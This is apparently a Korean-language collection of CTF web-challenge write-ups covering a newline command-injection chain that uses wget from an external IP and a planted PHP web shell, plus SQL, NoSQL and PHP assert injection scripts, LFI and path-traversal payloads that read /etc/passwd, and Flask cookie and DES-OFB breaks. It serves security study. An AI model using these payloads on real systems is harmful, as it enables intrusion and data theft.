joizel's writeup¶
WEB¶
[2016_hitcon] [WEB] babyfirst¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="index.php?args[]=a%0a&args[]=touch&args[]=test",arrowhead="normal"];
step3 -> step2[label="test file create",arrowhead="normal"];
step4 -> step5[label="index.php?args[]=a%0a&args[]=wget&args[]=3232235536",arrowhead="normal"];
step7 -> step6[label="@solve",arrowhead="normal"];
}](_images/graphviz-4d7c561174013f527c263fa5f3f0cf4eda506e6b.png)
취약점 존재 여부 확인¶
- GET 페이지 취약점
- GET 파라미터: args
- preg_match
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange" . implode(" ", $args));
?>
Array 취약점¶
- args[]에 문자열 이외에는 값을 입력하지 못하도록 preg_match를 걸어놨습니다.
- args[] 문자열 끝에 %0a(LF)를 넣을 수 있습니다.
- touch 명령어로 파일 생성을 할 수 있습니다.
http://52.68.245.164/index.php?
args[]=a%0a&
args[]=touch&
args[]=test
[실제 백엔드 동작]
/bin/orange a%0a
touch test

wget을 통한 우회¶
- wget으로 ip를 10진수 형식으로 변환해서 다운로드를 진행합니다. (여기서 로컬 테스트라고 가정해서 192.168.0.16=>3232235536으로 설정했습니다.)
※ ip를 10진수로 바꿔야 하는 이유?
코드를 보시면 아시겠지만 문자열을 제외한 모든 입력에 대해 제한이 걸려있기 때문에 .을 쓸 수가 없습니다. 그렇기 때문에 10진수로 바꿔서 wget을 진행합니다.
- 외부 접속이 가능한 ip에 웹 서버를 구축하고, index.php 파일을 하나 만들어 올립니다.
<?php
print shell_exec($_GET["cmd"]);
?>
- 그리고 wget으로 해당 ip(10진수)를 지정해주면 해당 파일이 sandbox/ip/ 폴더에 저장됩니다.
http://52.68.245.164/index.php?
args[]=a%0a&
args[]=wget&
args[]=3232235536
[실제 백엔드 동작]
/bin/orange a%0a
wget 3232235536
- 여기서부터 또 하나 관문에 부딫혔습니다. wget을 쓸 경우 index.html로 고정되어 다운로드 된다는 점입니다.
※ wget으로 다운로드 시 index.html로 고정되면 안되는 이유?
html 페이지로는 쉘을 실행할 수 없기 때문에 php 코드로 저장이 가능해야 합니다.
tar를 통한 우회¶
- 그렇다면 대시(-)나 점(.)을 쓰지 않고 우회할 수 있는 리눅스 쉘 명령을 실행하는 방법이 뭐가 있을까요? (라이트업을 보니 wget 대신 busybox ftpget, twistd telnet 을 쓴 것도 있네요.)
- php 소스가 있는 index.html을 새로 생성한 폴더에 다운로드한 후, 그 폴더를 tar를 통해 점이 없는 파일로 압축해서 점(.)을 우회하도록 합니다.
index.html
<?
phpfile_put_contents('shell.php', ' <?php print shell_exec($_GET["cmd"]); ?>');
?>
http://52.68.245.164/index.php?
args[]=a%0a&
args[]=mkdir&
args[]=exploit%0a&
args[]=cd&
args[]=exploit%0a&
args[]=wget&
args[]=3232235536%0a&
args[]=tar&
args[]=cvf&
args[]=archived&
args[]=exploit%0a&
args[]=php&
args[]=archived
/bin/orange a%0a
mkdir exploit%0a
cd exploit%0a
wget 3232235536%0a
tar cvf archived exploit%0a
php archived
- 결국 대쉬(-)도 안쓰고 점(.)도 안쓰고 php 명령을 실행해서 shell.php 파일을 만들어내는군요.
- 테스트는 안해봤지만 아마 다음과 같이 쉘 명령을 실행할 수 있을 것으로 보입니다.
http://52.68.245.164/sandbox/local_ip/shell.php?cmd=ls
[2016_icectf] [WEB] Solve¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="post_data: {username=' union select 1,2,info from information_schema.processlist-- -}",arrowhead="normal"];
step3 -> step2[label="login success",arrowhead="normal"];
}](_images/graphviz-df1bd37427c01c4359fe29d23157dc4fe94c6331.png)
server -> DB¶
- PHP
- POST 파라미터: username, password
SELECT * FROM users WHERE
username='$_POST["username"]' AND
password='$_POST["password"]'
union select¶
- information_schema.processlist
import requests
requests.packages.urllib3.disable_warnings()
url = "http://miners.vuln.icec.tf/login.php"
payload = {
"username": "' union select 1,2,info from information_schema.processlist-- -",
"password": "1",
}
r = requests.post(url, data=payload, verify=False)
print r.content
[2016_mmactf] [WEB] Get the admin password¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8 -> step10 -> step12;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9 -> step11 -> step13;
}
step0 -> step1[label="post_data: {user=admin&password[$ne]=1}",arrowhead="normal"];
step3 -> step2[label="login success",arrowhead="normal"];
step4 -> step5[label="post_data: {user=admin&password[$gte]=T}",arrowhead="normal"];
step7 -> step6[label="login success",arrowhead="normal"];
step8 -> step9[label="post_data: {user=admin&password[$gte]=U}",arrowhead="normal"];
step10 -> step11[label="login fail",arrowhead="normal"];
}](_images/graphviz-3b50ebe65dcb6af37343bb199ff79e83b7f62775.png)
취약점 존재 여부 확인¶
- POST 로그인 페이지 취약점
- MongoDB, Blind Injection
- $ne 연산자를 통해 취약점 존재를 확인
import requests
url = "http://gap.chal.ctf.westerns.tokyo/login.php"
data = {
"user": "admin",
"password[$ne]":"1"
}
r = requests.post(url, data=data, verify=False)
print r.content
무차별 대입¶
$gte 연산자를 이용하여 무작위 대입을 진행하여 True를 출력하는 결과를 확인합니다.
import requests
url = "http://gap.chal.ctf.westerns.tokyo/login.php"
result = ''
while 10:
for l in reversed(range(33,127)):
data = {
"user": "admin",
"password[$gte]":result + chr(l)
}
r = requests.post(url, data=data, verify=False)
if "TWCTF" in r.content:
result += chr(l)
print result
break
[2016_mmactf] [WEB] Global page¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="header {Accept-Language: en-US,en;q=0.5,/filter/read=convert.base64-encode/resource=index}",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-6acc55121ebbcaf27bda76608d94bb8e763c8371.png)
solve¶
import requests
url = "http://globalpage.chal.ctf.westerns.tokyo/?page=php:"
headers = {
"Accept-Language": "en-US,en;q=0.5,/filter/read=convert.base64-encode/resource=index"
}
r = requests.get(url, headers=headers, verify=False)
print r.content
return page
PD9waHAgaWYgKCFkZWZpbmVkKCdJTkNMVURFRF9JTkRFWCcpKSB7IGRlZmluZSgnSU5DTFVERURfSU5ERVgnLCB0cnVlKTsgaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAxKTsgaW5jbHVkZSAiZmxhZy5waHAiOyA/PiA8IWRvY3R5cGUgaHRtbD4gPGh0bWw+IDxoZWFkPiA8bWV0YSBjaGFyc2V0PXV0Zi04PiA8dGl0bGU+R2xvYmFsIFBhZ2U8L3RpdGxlPiA8c3R5bGU+IC5ydGwgeyBkaXJlY3Rpb246IHJ0bDsgfSA8L3N0eWxlPiA8L2hlYWQ+IDxib2R5PiA8P3BocCAkZGlyID0gIiI7IGlmKGlzc2V0KCRfR0VUWydwYWdlJ10pKSB7ICRkaXIgPSBzdHJfcmVwbGFjZShbJy4nLCAnLyddLCAnJywgJF9HRVRbJ3BhZ2UnXSk7IH0gaWYoZW1wdHkoJGRpcikpIHsgPz4gPHVsPiA8bGk+PGEgaHJlZj0iLz9wYWdlPXRva3lvIj5Ub2t5bzwvYT48L2xpPiA8bGk+PGRlbD5XZXN0ZXJuczwvZGVsPjwvbGk+IDxsaT48YSBocmVmPSIvP3BhZ2U9Y3RmIj5DVEY8L2E+PC9saT4gPC91bD4gPD9waHAgfSBlbHNlIHsgZm9yZWFjaChleHBsb2RlKCIsIiwgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRsYW5nKSB7ICRsID0gdHJpbShleHBsb2RlKCI7IiwgJGxhbmcpWzBdKTsgPz4gPHA8Pz0oJGw9PT0naGUnKT8iIGNsYXNzPXJ0bCI6IiI/Pj4gPD9waHAgaW5jbHVkZSAiJGRpci8kbC5waHAiOyA/PiA8L3A+IDw/cGhwIH0gfSA/PiA8L2JvZHk+IDwvaHRtbD4gPD9waHAgfSA/Pg==
base64 decode
<?php
if (!defined(‘INCLUDED_INDEX’)) {
define(‘INCLUDED_INDEX’, true);
ini_set(‘display_errors’, 1);
include “flag.php“;
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Global Page</title>
<style>
.rtl {
direction: rtl;
}
</style>
</head>
<body>
<?php
$dir = “”;
if(isset($_GET[‘page’])) {
$dir = str_replace([‘.’, ‘/’], ”, $_GET[‘page’]);
}
if(empty($dir)) {
?>
<ul>
<li><a href=”/?page=tokyo”>Tokyo</a></li>
<li><del>Westerns</del></li>
<li><a href=”/?page=ctf”>CTF</a></li>
</ul>
<?php
}
else {
foreach(explode(“,”, $_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) as $lang) {
$l = trim(explode(“;”, $lang)[0]);
?>
<p<?=($l===’he’)?” class=rtl”:””?>>
<?php
include “$dir/$l.php”;
?>
</p>
<?php
}
}
?>
</body>
</html>
<?php
}
?>
[2017_Inc0gnito] [web] corneria¶
문제내용¶
Please.. come.. Service available at: Here Source code available at: Here
문제 풀이¶
<?php
define("FLAG","flag{????????????}");
class info {
var $i;
public function __get($name) {
return $this->$name;
}
function infomation($my_level) {
$i = array_reverse(explode("|",$my_level));
foreach($i as $hell_buf) {
$input_id=explode("=",$hell_buf);
if($input_id[0]==='id')
$this->i['id']=$input_id[1];
else if($input_id[0]==='level')
$this->i['authLevel']=(int)$input_id[1];
else if($input_id[0]==='pw') {
$this->i['pw']=$input_id[1];
}
}
}
function my_password() {
return $this->i['pw'];
}
function input_id() {
return $this->i['id'];
}
function my_level() {
return $this->i['authLevel'];
}
public function __construct() {
$this->i['id']="default";
$this->i['authLevel']=(int)0;
$this->i['pw']=md5("default_passwd");
}
function hell_buf($a) {
$i=rand(0,getrandmax());
$i=md5((string)$i.$a);
return $i;
}
}
$i=new info;
if(isset($_POST['id'])&&isset($_POST['pw'])) {
$hell_buf=true;
$input_id=md5($_POST['pw']);
$my_level=$_POST['id'];
if(($input_id)==="is_this_really_md5?") {
$my_password=1;
} else {
$my_password=0;
}
$infomation=array();
$infomation['id'] = "id=".$my_level;
$infomation['level'] = "level=".$my_password;
$infomation['pw'] = "pw=".$i->hell_buf($input_id);
$data=implode("|",$infomation);
$i->infomation($data);
if($i->my_level()===1) {
echo FLAG;
}
} else {
$hell_buf=false;
}
?>
<html><head><title>My auth site</title></head><body><h4>Hello <?php if($hell_buf) echo ", ".$i->input_id(); ?></h4>
<?php if($hell_buf) {
echo "Your ID : ".$i->input_id()."<br>Your Level : ".$i->my_level()."<br>Your password : ".$i->my_password()."<br>";
} else {
echo "<form method='post' action='".$_SERVER['PHP_SELF']."'>ID : <input type = 'text' name='id' /><br>PW : <input type = 'password' name='pw' /><br><input type='submit' /></form>";
}
?></body></html>
문제에서 PHP 소스코드가 공개되어 있는데, 해당 소스코드를 보면 "|"를 통해 explode를 하는 것을 확인할 수 있다. 그리고 플래그는 level값이 1일 경우 출력되도록 되어 있으므로 id부분에 조건을 만족시키는 level=1값을 입력하면 플래그가 출력된다.
[2017_Inc0gnito] [web] des_ofb¶
문제내용¶
I implemented my own DES: Output Feedback Mode DES..!! I heard that the OFB mode is cryptographically safe. Here is my favorite secret file encrypted by it.
문제 풀이¶
OFB 운영모드의 DES 인코딩 python 코드와 암호화된 파일이 주어진다. 암호화 파일을 복호화해서 플래그를 찾는게 문제 핵심으로 보인다.
#!/usr/bin/env python
import pyDes
from struct import pack, unpack
def xors(a, b):
return pack('<Q', unpack('<Q', a)[0] ^ unpack('<Q', b)[0])
# pyDes do not support OFB mode
# so I have to implement myself T_T
class DES_OFB:
def __init__(self, iv, key):
self.iv = iv
self.key = key
def encrypt(self, data):
data += '\x00' * (-len(data) % 8)
ret = ''
prev = self.iv
for i in xrange(0, len(data), 8):
blk = pyDes.des(self.key, pyDes.ECB).encrypt(prev)
ret += xors(blk, data[i:i+8])
prev = blk
return ret
# I want to be sure that my precious file is not corrupted!!
legal = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_0123456789'
with open('flag', 'rb') as f:
flag = f.read()
for ch in flag:
assert ch in legal
# iv and key are same as plaintext, but anyway it's secret
# so I think it's absolutely safe :p
k = DES_OFB(flag[:8], flag[:8])
with open('flag.enc', 'wb') as f:
f.write(k.encrypt(flag))
코드에서 보는 바와 같이 DES_OFB의 Key와 IV 값이 동일하다. 또한, 해당 대회의 플래그 형식이 "INC0{"로 시작하기 때문에 3글자만 브포로 찾으면 Key와 IV 값을 찾을 수 있다.
import itertools
legal = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789}'
flag = 'INC0{'
f = open('flag.enc','rb')
enc_data = f.read().encode('hex')
for l in itertools.product(legal,repeat=3):
_chr = ''.join(l)
for ch in _chr:
try:
assert ch in legal
except AssertionError, e:
pass
flag2 = flag + _chr
k = DES_OFB(flag2[:8], flag2[:8])
if k.encrypt(flag2)[:8] == enc_data[:8]:
print '# ' + _chr
break
키값을 찾았으니 브포를 통해 플래그를 획득할 수 있다.
import itertools
legal = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789}'
f = open('flag.enc','rb')
enc_data = f.read().encode('hex')
flag = 'INC0{1t_'
for m in range(1,21):
for l in itertools.product(legal,repeat=2):
_chr = ''.join(l)
for ch in _chr:
try:
assert ch in legal
except AssertionError, e:
pass
flag2 = flag + _chr
print flag2
n = 4*m
k = DES_OFB(flag2[:8], flag2[:8])
if k.encrypt(flag2)[:16+n] == enc_data[:16+n]:
flag += _chr
print '# ' + flag
break
#n += 4
print flag
[2017_Inc0gnito] [web] monika¶
문제내용¶
Service available at: http://prob.nagi.moe:9094 Source code available at: Here
문제 풀이¶
소스코드를 확인해보면 flask의 session에 플래그가 저장되어 암호화되는 것을 확인 할 수 있다.
#coding: utf-8
import json
from flask import Flask
from flask import Response
from flask import request, session
from flask import url_for, redirect
from flask import render_template
from flask.json import JSONEncoder
app = Flask(__name__)
#auth me, i dare you
FLAG = "INC0{..........}"
app.secret_key = "..................."
DEFAULT_SET={}
DEFAULT_SET['login_id'] = 'ID: '
DEFAULT_SET['login'] = 'Login'
DEFAULT_SET['nickname'] = 'Nickname: '
DEFAULT_SET['status'] = 'Changed nickname!'
DEFAULT_SET['change'] = 'Change nickname'
KOREAN_SET = {}
KOREAN_SET['login_id'] = u'아이디: '
KOREAN_SET['login'] = u'로그인'
KOREAN_SET['nickname'] = u'닉네임: '
KOREAN_SET['status'] = u'닉네임 변경 성공!'
KOREAN_SET['change'] = u'닉네임 변경'
class account:
def __init__(self, _id, nickname, flag):
self._id = _id
self.nickname = nickname
self.FLAG = flag
def __str__(self):
return self.nickname
def __repr__(self):
return self.nickname
def __unicode__(self):
return unicode(self.nickname)
@app.route("/status", methods=['GET', 'POST'])
def status():
try:
t1 = session['t1']
t3 = session['t3']
t4 = session['t4']
t5 = session['t5']
except:
session['t1'] = DEFAULT_SET['login_id']
session['t3'] = DEFAULT_SET['nickname']
session['t4'] = DEFAULT_SET['status']
session['t5'] = DEFAULT_SET['change']
t1 = session['t1']
t3 = session['t3']
t4 = session['t4']
t5 = session['t5']
pass
try:
me = session['account']
me = account(me['id'], me['nickname'], me['FLAG'])
_nickname = request.form.get("nickname")
if _nickname is not None:
session['account']['nickname'] = _nickname
me.nickname = _nickname
return render_template("status.html", t1=t1, t3=t3, t5=t5, _id=me._id, nickname=me.nickname, t4=t4.format(me))
else:
return render_template("status.html", _id=me._id, nickname=me.nickname,t1=t1,t3=t3,t5=t5)
except:
raise
return redirect(url_for("main"))
@app.route("/translate", methods=['GET', 'POST'])
def translate():
t1 = request.form.get("t1")
t2 = request.form.get("t2")
t3 = request.form.get("t3")
t4 = request.form.get("t4")
t5 = request.form.get("t5")
render = False
if t1 is None:
render = True
session['t1'] = KOREAN_SET['login_id']
else:
session['t1'] = t1
if t2 is None:
render = True
session['t2'] = KOREAN_SET['login']
else:
session['t2'] = t2
if t3 is None:
render = True
session['t3'] = KOREAN_SET['nickname']
else:
session['t3'] = t3
if t4 is None:
render = True
session['t4'] = KOREAN_SET['status']
else:
session['t4'] = t4
if t5 is None:
render = True
session['t5'] = KOREAN_SET['change']
else:
session['t5'] = t5
if(render):
return render_template("translate.html", t1=session['t1'], t2=session['t2'], t3=session['t3'], t4=session['t4'], t5=session['t5'])
else:
return redirect(url_for("status"))
@app.route("/", methods=['GET', 'POST'])
def main():
_id = request.form.get("id")
try:
t1 = session['t1']
except:
session['t1'] = DEFAULT_SET['login_id']
t1 = session['t1']
pass
try:
t2 = session['t2']
except:
session['t2'] = DEFAULT_SET['login']
t2 = session['t2']
pass
try:
t3 = session['t3']
except:
session['t3'] = DEFAULT_SET['nickname']
t3 = session['t3']
pass
try:
t4 = session['t4']
except:
session['t4'] = DEFAULT_SET['status']
t4 = session['t4']
pass
try:
t5 = session['t5']
except:
session['t5'] = DEFAULT_SET['change']
t5 = session['t5']
pass
if _id is not None:
me = {}
me['id'] = _id
me['nickname'] = ""
me['FLAG'] = FLAG
session['account'] = me
return redirect(url_for("status"))
return render_template("main.html", t1=t1, t2=t2)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=9094)
로그인 후 쿠키에 저장되어 있는 세션값을 가져와 base64 디코드와 zlib decompress를 해주게 되면 플래그를 획득 할 수 있습니다.
import ast
import base64
import zlib
cookie = ".eJxljssKwjAQRX9FZu3CjkaI4MJXW0UF8dE0u6SptJpEkVRQ8d-tCq3gauDMuXPnASJJToV10HuAPx8E79mQ0IP1lowXobtL9LQKtONsuVdIbwJ1wT16itnsyFDfGZKr8qlLdzQvnRbDneGG3lTY6sOzCbkqjwllcgtNsHlytMKkVQs8S8V5P62r7nTQ_yQdVngTUCuizhe3a2z0QSDJZLStU51qvcIsk0ZpPhoWIlpepPEdX0--GvnTpgE5x-iKOPJ0-dcLUuJUbw.DIEUTA.HCEaHOZhyRP0ntFZg09diruyjHM==="
data1 = base64.urlsafe_b64decode(cookie)
data2 = zlib.decompress(data1)
data2 = ast.literal_eval(data2)
print base64.b64decode(data2["account"]["FLAG"][" b"])
[2017_Inc0gnito] [web] sophie¶
문제내용¶
Come to my Atelier! Service available at : http://prob.nagi.moe:9091
문제 풀이¶
웹 페이지에 접속해서 싱글쿼터를 입력하면 assert 에러가 발생된다.

코드를 보면 strpos('./includes/'.php','php://')===false 라고 되어 있는 것으로 보아 lfi를 차단하기 위한 코드로 보인다. 해당 부분을 or 인젝션을 통해 앞부분을 true로 만들고 뒷부분을 true/false으로 하여 인젝션을 해본다.
strpos('./includes/','1')===true || 1==1; //.php','php://')===false

strpos('./includes/','1')===true || 1==2; //.php','php://')===false

true/false 조건이 적용되는 것을 확인하였으니, 먼저 index.php 내용을 가져와 보자. 먼저 파일 길이를 확인한다.
for m in range(1500,2000):
url = "http://prob.nagi.moe:9091/index.php?page=','1')===true ||"
_php_query = "strlen(file_get_contents('/var/www/html/index.php'))==%d"%(m)
comment = ";//"
r = requests.get(url+_php_query+comment)
if "/var/www/html/index.php on line" in r.content:
result = "querry error"
elif "I am now learning PHP!" in r.content:
result = "index page"
else:
print m
break
파일 길이를 확인하였으니, 파일 내용을 가져와보자.
php_text = ''
for m in range(0,1528):
for l in string_list:
url = "http://prob.nagi.moe:9091/index.php?page=','1')===true ||"
_php_query = "substr(file_get_contents('/var/www/html/index.php'),%d,1)=='%s'"%(m,l)
comment = ";//"
r = requests.get(url+_php_query+comment)
if "/var/www/html/index.php on line" in r.content:
result = "querry error"
elif "I am now learning PHP!" in r.content:
result = "index page"
else:
print l
php_text += l
break
print php_text
index.php 내용을 확인해보면 flag는 /includes/flag.php에 있다고 한다. 하지만 uri에 flag를 넣게 되면 home 페이지로 리다이렉트 되기 때문에 문자열을 분리하여 우회하여 파일내용을 가져오면 플래그를 확인할 수 있다.
php_text = ''
for m in range(0,53):
for l in string_list:
url = "http://prob.nagi.moe:9091/index.php?page=','1')===true ||"
_php_query = "substr(file_get_contents('./includes/fla'.'g.php'),%d,1)=='%s'"%(m,l)
comment = ";//"
r = requests.get(url+_php_query+comment)
if "/var/www/html/index.php on line" in r.content:
result = "querry error"
elif "I am now learning PHP!" in r.content:
result = "index page"
else:
print l
php_text += l
break
print php_text
[2017_asisctf] [web] Mathilda¶
문제내용¶
Mathilda learned many skills from Leon, now she want to use them!
문제 풀이¶
해당 페이지에 접속하면 "Welcome to home"이라는 문구와 함께 이미지 파일만 존재한다.
소스보기를 하면 "<!-- created by ~rooney -->"라는 주석이 존재한다. "~rooney"라는 디렉토리로 접속을 시도하면 정상적으로 접속이 가능하고, 마틸다 사진과 함께 "Welcome to rooney page"라는 페이지가 출력된다.
http://178.62.48.181/~rooney/index.php
file이라는 링크가 걸려있어 클릭하게 되면, path라는 파라미터에 rooney라는 값을 통해 메시지가 출력된다.
http://178.62.48.181/~rooney/index.php?path=rooney
보아하니, path 파라미터 상에 lfi가 가능한 것으로 보인다. 먼저 index.php를 확인하기 위해 path에 "../index.php"를 넣어보니 "Security failed"라는 에러를 출력한다.
http://178.62.48.181/~rooney/index.php?path=../index.php
".php" 확장자에 대해 제한이 걸려있는 것으로 보인다. 그럼 하위 체크에 대한 필터링이 있는 지 확인하기 위해 rooney라는 파일을 "path=../files/rooney"로 확인해본다. 확인 결과, 정상적으로 rooney 내용을 확인할 수 없었으며, replace가 있는 것으로 보인다.
http://178.62.48.181/~rooney/index.php?path=../files/rooney
"../"을 "....//"으로 바꾸고 입력한 결과, 정상적으로 rooney파일을 확인할 수 있었다.
http://178.62.48.181/~rooney/index.php?path=....//files/rooney
이걸 이용해서 "index.php"도 "index.../php"로 바꾸고 입력한 결과 정상적으로 php 소스코드를 확인할 수 있었다.
http://178.62.48.181/~rooney/index.php?path=....//index.../php
''' 난 여기서 index.php 상에 플래그가 있을 줄 알았으나, 해당 페이지에는 플래그가 없었다. 그래서 다른 파일을 확인해야 하는 줄 알고, 먼저 index.html을 확인하기 위해 "....//....//index.html"을 입력했으나, 확인이 불가능했다.
여기서부터 게싱이나 인터넷 검색이 필요한 건가? 해서 삽질을 계속했으나... 결국 못찾음... '''
해당 페이지가 rooney계정 페이지라는 것으로 추측하고, /etc/passwd를 읽기 위해 path상에 lfi를 진행해보자.
http://178.62.48.181/~rooney/index.php?path=....//....//....//....//etc/passwd
'rooney:x:1000:1000:,,,:/home/rooney:/bin/false'
'th1sizveryl0ngus3rn4me:x:1001:1001:,,,:/home/th1sizveryl0ngus3rn4me:/bin/bash'
rooney 계정말고도 th1sizveryl0ngus3rn4me라는 계정이 존재하는 걸 확인하였고 해당 디렉토리 상에 flag.php를 확인한 결과 플래그를 획득할 수 있었다.
http://178.62.48.181/~rooney/?path=....//....//....//....//home/th1sizveryl0ngus3rn4me/public_html/flag.../php
[2017_h3x0r] [WEB] MicTest for web¶
문제 풀이¶
해당 사이트에 접속해서 소스보기를 해보면 다음과 같은 base64로 주석처리된 내용이 보인다.
<!--
dmlldyAvaDN4MHJjdGYvY2hhbGwxL2Nzcy9mbGFnLmNzcw==-->
base64 decode 하면 다음과 같은 내용이 출력되고, 해당 페이지에 접속하면 플래그를 획득할 수 있다.
$ echo "dmlldyAvaDN4MHJjdGYvY2hhbGwxL2Nzcy9mbGFnLmNzcw=="|base64 -d
view /h3x0rctf/chall1/css/flag.css
[2017_h3x0r] [WEB] aboa_sagiri¶
문제 풀이¶
해당 사이트에 접속해보면 친절하게 LFI라고 말해주고 있다. LFI를 통해 flag.php를 읽어보자.
http://garbage.dothome.co.kr/chall.php?file=php://filter/convert.base64-encode/resource=flag.php
PD9waHAKICAgIGVjaG8gIlVzZSBMRkkhIjsKICAgICRmbGFnID0gIkgzWDBSe2EwYmFfYzB0ZV9hZG0xdD99IjsK
base64 코드를 확인할 수 있고, 해당 코드를 디코드하면 플래그를 획득할 수 있다.
$ echo "PD9waHAKICAgIGVjaG8gIlVzZSBMRkkhIjsKICAgICRmbGFnID0gIkgzWDBSe2EwYmFfYzB0ZV9hZG0xdD99IjsK"|base64 -D
<?php
echo "Use LFI!";
$flag = "H3X0R{a0ba_c0te_adm1t?}";
[2017_h3x0r] [WEB] file with php¶
문제 풀이¶
해당 사이트에 접속해보면 Blank Page. LoL이라고 뜨고 있는데, 쿠키값을 확인해보면 source라는 값이 0으로 존재한다. 해당 값을 1로 수정하면 다음과 같은 php 소스코드를 확인할 수 있다.
<?php
$flag = 1;
include "config.php";
$_SESSION[cookie] = $_COOKIE[PHPSESSID];
if($_GET['mode']=="pwn") {
$f=file("$_SESSION[cookie].txt");
if(preg_match("/^$_SESSION[cookie]$/i", md5($f[0]))) {
unlink("$_SESSION[cookie].txt");
echo $flag;
}
$f = fopen(md5($_SESSION[cookie]).".txt", "w");
fwrite($f,$_SESSION[cookie]);
fclose($f);
usleep(300000);
unlink(md5($_SESSION[cookie]).".txt");
}
if($_COOKIE['source']) {
show_source(__FILE__);
exit();
}
setcookie('source', 0);
echo "<h3> Blank Page. LoL </h3>";
?>
문제를 볼 때 항상 입력값과 출력값을 염두해두자. 입력값은 mode 파라미터와 PHPSESSID 쿠키 값이고, 출력하고자하는 값은 flag 변수이다. 출력 값인 flag 변수 내용을 가져오기 위해서는, 조건문이 2개 맞아야 한다.
- mode 파라미터가 pwn이어야 한다.
- f변수의 0번째 값을 md5한 값이 PHPSESSID 쿠키 값과 일치해야 한다.
f변수는 PHPSESSID 쿠키 값으로 파일을 생성하는데, 최초 생성이기에 해당 array에는 아무 내용도 없을 것이다. 그 때문에 $f[0]=""일 것이고, md5($f[0])=d41d8cd98f00b204e9800998ecf8427e 일 것이다.
다음과 같은 python 코드를 통해 플래그를 획득한다.
import requests
url = "http://13.124.93.183/h3x0rctf/d41d8cd98f00b204e9800998ecf8427e.php?mode=pwn"
header = {
"Cookie":"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e"
}
r = requests.get(url,headers=header)
print r.content
[2017_h3x0r] [WEB] is this possible¶
코드 분석¶
php 소스코드 문제는 아래와 같다.
<?php
error_reporting(0);
require_once 'config.php';
if(isset($_GET['go'])){
$filter = "/\'|\"|`|,|<|>|&|=|;|#|or|and|union|select|into|info|sc|in|like|regex|rand|limit|prob|0x|0b/i";
if(preg_match($filter, $_GET['go']))
exit("403 forbidden");
if(preg_match("/\s/", $_GET['go']))
exit("whitespace nono");
$i = 0;
$conn = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
$query = mysqli_query($conn, "SELECT * FROM `go` ORDER BY ".$_GET['go']." DESC");
echo "<table style='border: 1px solid black;'>";
echo "<tr><th>id</th></tr>";
while($row = mysqli_fetch_array($query)){
$res[$i++] = $row['id'];
echo "<tr><td>{$row['id']}</td></tr>";
}
echo "</table><hr>";
if($res[0] === "admin" && $res[1] === "19990301" && $res[2] === "guest"){
if((int)$res[1] == $_GET['foo'] && strlen($_GET['foo']) > 10){
solve();
}
}
}
highlight_file(__FILE__);
?>
문제를 볼 때 항상 입력값과 출력값을 염두해두자. 입력값은 go파라미터와 foo파라미터이고, 출력값은 solve()이다.
출력값인 solve()까지 가기 위해서는 입력한 값에 대한 조건문이 5개 맞아야 한다.
- go 파라미터 입력값을 통한 출력값 첫번째 줄이 admin이어야 하고,
- 출력값 두번째 줄이 19990301이어야 하고,
- 출력값 세번째 줄이 guest여야 한다.
- go 파라미터를 통한 출력값 두번째 줄을 int 적용할 경우, foo 파라미터 입력 값과 같아야 하며,
- foo 파라미터의 스트링 길이는 10이상이어야 한다.
일단 go 파라미터에 1 값을 입력하고 어떻게 출력되는 지 확인한다.

다음과 같이 테이블이 출력된다. 해당 테이블을 위의 조건과 만족하도록 출력하여야 하는데, 많은 문자열을 preg_match로 필터링하고 있다. admin, 19990301, guest 순으로 출력을 하기 위해서는 문자열 길이로 sorting해도 안되고, 문자정렬 순위로 sorting해도 불가능하다. 해당 문자열을 int값으로 출력하여 그 값을 비교하여 하나씩 sorting 하도록 하자. sort by절에 go 파라미터가 끼어 있으므로, case 컬럼명 when 조건문 then 저장구간 else구문을 이용하여 하나씩 조건을 성립해나가도록 한다.
문제 풀이¶
먼저 admin을 첫번째 줄에 출력하도록 한다. in이 문자열로 필터링되기 때문에 int값으로 비교하여 출력하도록 한다.
case(hex(id)%2b0)when(61646)then(1)else(2)end
두번째 줄의 경우 19990301이 출력되도록 한다.
case(hex(id)%2b0)when(61646)then(1)else(case(id)when(19990301)then(1)end)end
위에서 언급한 3가지 조건이 만족하였으며, foo 파라미터에 대한 2가지 조건을 만족해야한다. 문자열 길이가 10이고, int로 변환하였을 경우 19990301로 변환할 수 있는 방법은 소수점을 이용할 수 있다.
19990301.00
모든 조건을 만족시켜 플래그를 획득할 수 있다.
[2017_h3x0r] [WEB] misulgwan¶
문제 내용¶
server 1: http://pphp.dothome.co.kr/
